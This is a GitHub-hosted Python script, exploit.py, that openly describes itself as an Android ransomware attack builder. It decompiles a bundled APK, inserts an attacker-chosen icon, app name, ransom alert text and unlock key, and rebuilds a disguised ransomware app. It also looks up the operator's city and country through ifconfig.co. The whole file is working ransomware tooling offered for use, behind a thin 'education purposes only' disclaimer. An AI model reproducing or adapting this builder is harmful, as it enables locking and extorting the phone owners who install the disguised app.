-
Notifications
You must be signed in to change notification settings - Fork 9
/
Copy pathexploit.py
152 lines (146 loc) · 5.25 KB
/
exploit.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
#!/usr/bin/env python3
import os, sys, time, fileinput
from getpass import getpass
from PIL import Image
r = "\033[1;31m"
g = "\033[1;32m"
y = "\033[1;33m"
b = "\033[1;34m"
d = "\033[2;37m"
R = "\033[1;41m"
Y = "\033[1;43m"
B = "\033[1;44m"
w = "\033[0m"
app_icon = ""
app_name = ""
alert_title = ""
alert_desc = ""
key_pass = ""
def banner():
print(w + d + "")
print(w + d + "")
print(w + d + "")
print(w + d + " ▄───▄")
print(w + d + " ▄█▄─█▀█▀█─▄█▄ @popeye0013")
print(w + d + " ▀▀████▄█▄████▀▀ The author is not responsible")
print(w + d + " ▀█▀█▀ for any issues or damage")
print(w + d + "")
print(w + d + "")
print(w + d + "")
print(w + d + "")
print(w + d + "")
def writefile(file, old, new):
while True:
if os.path.isfile(file):
replaces = {old: new}
for line in fileinput.input(file, inplace=True):
for search in replaces:
replaced = replaces[search]
line = line.replace(search, replaced)
print(line, end="")
break
else:
exit(r + "[!]" + w + " Failed to write in file " + file)
def start():
global app_icon, app_name, alert_title, alert_desc, key_pass
os.system("clear")
banner()
print(r + "[!]" + w + " Use this tool for education purposes only")
ask = str(input(r + "[!]" + w + " Do you agree (y/n): ").lower())
if ask in ("yes"):
pass
else:
exit(r + "[!]" + w + " Don't be evil !")
print(f"""
{r}Exploit 1.5{w} is a Simple Android Ransomware Attack
{w}The user can customize the App Icon, Name, Key, and others.
{d}Support us https://t.me/pixode !{w}
""")
print(b + "> " + w + os.popen("curl ifconfig.co/city --silent").readline().strip() + ", " +
os.popen("curl ifconfig.co/country --silent").readline().rstrip() + time.strftime(", %d/%m/%Y (%H.%M.%S)"))
print(b + ">" + w + " Use \\n for newline and CTRL + C for exit")
print(w + "-" * 43)
while True:
x = str(input(w + "* SET app_icon (PNG only): " + g))
if os.path.isfile(x):
if ".png" in x:
app_icon = x
break
else:
print(r + "[!]" + w + " File not accepted, PNG format only !")
else:
print(r + "[!]" + w + " File not found, please fill correctly !")
while True:
x = str(input(w + "* SET app_name: " + g))
if len(x) != 0:
app_name = x
break
else:
continue
while True:
x = str(input(w + "* SET title: " + g))
if len(x) != 0:
alert_title = x
break
else:
continue
while True:
x = str(input(w + "* SET description: " + g))
if len(x) != 0:
alert_desc = x
break
else:
continue
while True:
x = str(input(w + "* SET unlock key: " + g))
if len(x) != 0:
key_pass = x
break
else:
continue
print(w + "* Building your ransomware APK's ...")
print(w + "-" * 43 + d)
os.system("apktool d popMods.apk")
imgpath = [
"popMods/res/drawable-mdpi-v4/ic_launcher.png",
"popMods/res/drawable-xhdpi-v4/ic_launcher.png",
"popMods/res/drawable-hdpi-v4/ic_launcher.png",
"popMods/res/drawable-xxhdpi-v4/ic_launcher.png",
]
strings = "popMods/res/values/strings.xml"
print("I: Using strings " + strings)
smali = os.popen(f"find -L popMods/ -name '*0000.smali'", "r").readline().strip()
print("I: Using smali " + os.path.basename(smali))
writefile(strings, "appname", app_name)
print("I: Adding name with " + app_name)
writefile(strings, "alert_title", alert_title)
print("I: Adding title with " + alert_title)
writefile(strings, "alert_desc", alert_desc)
print("I: Adding description with " + str(len(alert_desc)) + " words")
writefile(smali, "key_pass", key_pass)
print("I: Adding unlock key with " + key_pass)
time.sleep(3)
for path in imgpath:
if os.path.isfile(path):
with Image.open(path) as target:
width, height = target.size
size = str(width) + "x" + str(height)
logo = os.path.basename(app_icon)
os.system("cp -R " + app_icon + " " + logo)
os.system("mogrify -resize " + size + " " + logo + ";cp -R " + logo + " " + path)
os.system("rm -rf " + logo)
print("I: Adding icon with " + os.path.basename(app_icon) + " size: " + size)
else:
exit(1)
os.system("apktool b popMods -o final.apk;rm -rf popMods")
if os.path.isfile("final.apk"):
out = app_name.replace(" ", "").lower() + "_unsigned.apk"
os.system("mv final.apk " + out)
getpass(b + ">" + w + " Result saved as: " + B + " " + out + " " + w)
else:
print(r + "[!]" + w + " Failed to create the unsigned APK.")
if __name__ == "__main__":
try:
start()
except KeyboardInterrupt:
exit(r + "\n[!]" + w + " Thanks for using Exploit\n Exiting ...")